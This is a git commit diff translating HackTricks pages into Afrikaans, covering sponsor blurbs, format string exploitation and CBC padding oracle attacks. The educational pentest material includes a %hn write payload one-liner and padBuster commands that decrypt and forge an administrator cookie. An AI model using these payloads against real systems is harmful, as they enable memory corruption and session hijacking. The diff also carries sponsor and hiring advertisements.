mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['README.md', 'binary-exploitation/format-strings/README.md',
This commit is contained in:
parent
1ee1c36685
commit
0700a55e1f
43 changed files with 1096 additions and 698 deletions
18
README.md
18
README.md
|
@ -77,14 +77,16 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskapstel
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskap
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Dadelijk beskikbare opstelling vir kwesbaarheid assessering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle terug 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
\
|
|
||||||
|
|
||||||
{% endembed %}
|
{% endembed %}
|
||||||
|
|
||||||
|
@ -96,8 +98,8 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
|
|
||||||
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
||||||
|
|
||||||
'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||||
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekenjinresultate teenwoordig is, in.
|
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||||
|
|
||||||
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
||||||
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||||
|
@ -111,9 +113,9 @@ Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.*
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
||||||
|
|
||||||
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Eksploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
||||||
|
|
||||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy dit nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec is **baie selfversekerd in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Format Strings
|
# Formaat Strings
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,15 +15,22 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
In C **`printf`** is 'n funksie wat gebruik kan word om **te druk** 'n string. Die **eerste parameter** wat hierdie funksie verwag is die **rou teks met die formateerders**. Die **volgende parameters** wat verwag word is die **waardes** om die **formateerders** van die rou teks te **vervang**.
|
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag is die **rou teks met die formaatters**. Die **volgende parameters** wat verwag word is die **waardes** om die **formaatters** van die rou teks te **vervang**.
|
||||||
|
|
||||||
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
|
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
|
||||||
|
|
||||||
Die kwesbaarheid verskyn wanneer 'n **aanvaller teks as die eerste argument** vir hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om te lees en **skryf enige data in enige adres (leesbaar/skryfbaar)**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
|
Die kwesbaarheid verskyn wanneer 'n **aanvallers teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
|
||||||
|
|
||||||
#### Formateerders:
|
#### Formaatters:
|
||||||
```bash
|
```bash
|
||||||
%08x —> 8 hex bytes
|
%08x —> 8 hex bytes
|
||||||
%d —> Entire
|
%d —> Entire
|
||||||
|
@ -47,7 +54,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||||
int value = 1205;
|
int value = 1205;
|
||||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||||
```
|
```
|
||||||
* Met ontbrekende argumente:
|
* Met Ontbrekende Argumente:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||||
```
|
```
|
||||||
|
@ -66,7 +73,7 @@ return 0;
|
||||||
```
|
```
|
||||||
### **Toegang tot Pointers**
|
### **Toegang tot Pointers**
|
||||||
|
|
||||||
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
|
Die formaat **`%<n>$x`**, waar `n` 'n nommer is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x %x")
|
printf("%x %x %x %x")
|
||||||
```
|
```
|
||||||
|
@ -76,7 +83,7 @@ Of jy kan doen:
|
||||||
```c
|
```c
|
||||||
printf("%4$x")
|
printf("%4$x")
|
||||||
```
|
```
|
||||||
and lees direk die vierde.
|
en lees direk die vierde.
|
||||||
|
|
||||||
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
|
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
|
||||||
|
|
||||||
|
@ -145,7 +152,7 @@ p.close()
|
||||||
Arbitraire lees kan nuttig wees om:
|
Arbitraire lees kan nuttig wees om:
|
||||||
|
|
||||||
* **Dump** die **binarie** uit geheue
|
* **Dump** die **binarie** uit geheue
|
||||||
* **Toegang tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
* **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of paswoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **Arbitraire Skrywe**
|
## **Arbitraire Skrywe**
|
||||||
|
|
||||||
|
@ -181,6 +188,8 @@ If HOB > LOB\
|
||||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||||
|
|
||||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||||
```
|
```
|
||||||
|
@ -225,16 +234,20 @@ Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbru
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||||
* 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
|
* 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
|
* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie te oorskryf (ret2win)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
|
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
|
|
|
@ -15,13 +15,17 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## CBC - Cipher Block Chaining
|
## CBC - Cipher Block Chaining
|
||||||
|
|
||||||
In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volgende blok te XOR:
|
In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volgende blok te XOR:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** uitgevoer:
|
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** gedoen:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
|
@ -29,10 +33,10 @@ Let op hoe dit nodig is om 'n **versleuteling** **sleutel** en 'n **IV** te gebr
|
||||||
|
|
||||||
## Boodskap Padding
|
## Boodskap Padding
|
||||||
|
|
||||||
Aangesien die versleuteling in **vaste** **grootte** **blokken** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
|
Aangesien die versleuteling in **vaste** **grootte** **blokkies** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
|
||||||
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die padding `\x03\x03\x03` wees.
|
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die padding `\x03\x03\x03` wees.
|
||||||
|
|
||||||
Kom ons kyk na meer voorbeelde met **2 blokke van 8bytes**:
|
Kom ons kyk na meer voorbeelde met **2 blokkies van 8bytes lengte**:
|
||||||
|
|
||||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
@ -47,7 +51,7 @@ Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is
|
||||||
|
|
||||||
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
|
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
|
||||||
|
|
||||||
As jy hierdie gedrag waarneem, kan jy die **versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
|
As jy hierdie gedrag waarneem, kan jy **die versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
|
||||||
|
|
||||||
### Hoe om te benut
|
### Hoe om te benut
|
||||||
|
|
||||||
|
@ -61,7 +65,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
|
||||||
```
|
```
|
||||||
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
|
||||||
|
|
||||||
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, veronderstel dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die aansoek opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
|
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die aansoek opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
```
|
```
|
||||||
|
@ -71,13 +75,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
||||||
```
|
```
|
||||||
### Die teorie
|
### Die teorie
|
||||||
|
|
||||||
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende vullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai wat die korrekte waarde is wat **'n vulling van 1, 2, 3, ens.** skep.
|
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende vullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai watter die korrekte waarde is wat **'n vulling van 1, 2, 3, ens.** skep.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (561).png>)
|
![](<../.gitbook/assets/image (561).png>)
|
||||||
|
|
||||||
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
|
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
|
||||||
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **tussenbytes I0 tot I15** genereer.\
|
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **tussenliggende bytes I0 tot I15** genereer.\
|
||||||
Laastens, elke tussenbyte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
Laastens, elke tussenliggende byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
|
||||||
|
|
||||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
* `C14 = I14 ^ E6`
|
* `C14 = I14 ^ E6`
|
||||||
|
@ -85,15 +89,15 @@ Laastens, elke tussenbyte word **XORed** met die vorige versleutelde bytes (E0 t
|
||||||
* `C12 = I12 ^ E4`
|
* `C12 = I12 ^ E4`
|
||||||
* ...
|
* ...
|
||||||
|
|
||||||
Nou, dit is moontlik om `E7` te **wysig totdat `C15` `0x01` is**, wat ook 'n korrekte vulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
|
Nou, dit is moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte vulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
As ons **C15** ken, is dit nou moontlik om **C14** te **bereken**, maar hierdie keer deur die vulling `\x02\x02` te brute-force.
|
As ons **C15** weet, is dit nou moontlik om **C14** te bereken, maar hierdie keer brute-force die vulling `\x02\x02`.
|
||||||
|
|
||||||
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` gelyk aan `0x02`** genereer.\
|
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` genereer wat gelyk is aan `0x02`**.\
|
||||||
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
|
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
|
||||||
|
@ -101,15 +105,19 @@ Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^
|
||||||
### Opsporing van die kwesbaarheid
|
### Opsporing van die kwesbaarheid
|
||||||
|
|
||||||
Registreer en skep 'n rekening en teken in met hierdie rekening.\
|
Registreer en skep 'n rekening en teken in met hierdie rekening.\
|
||||||
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** kry, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak**.
|
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** ontvang, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak**.
|
||||||
|
|
||||||
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing kry.\
|
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing ontvang.\
|
||||||
Maar as jy die vulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
|
Maar as jy die vulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
|
||||||
|
|
||||||
### Verwysings
|
### Verwysings
|
||||||
|
|
||||||
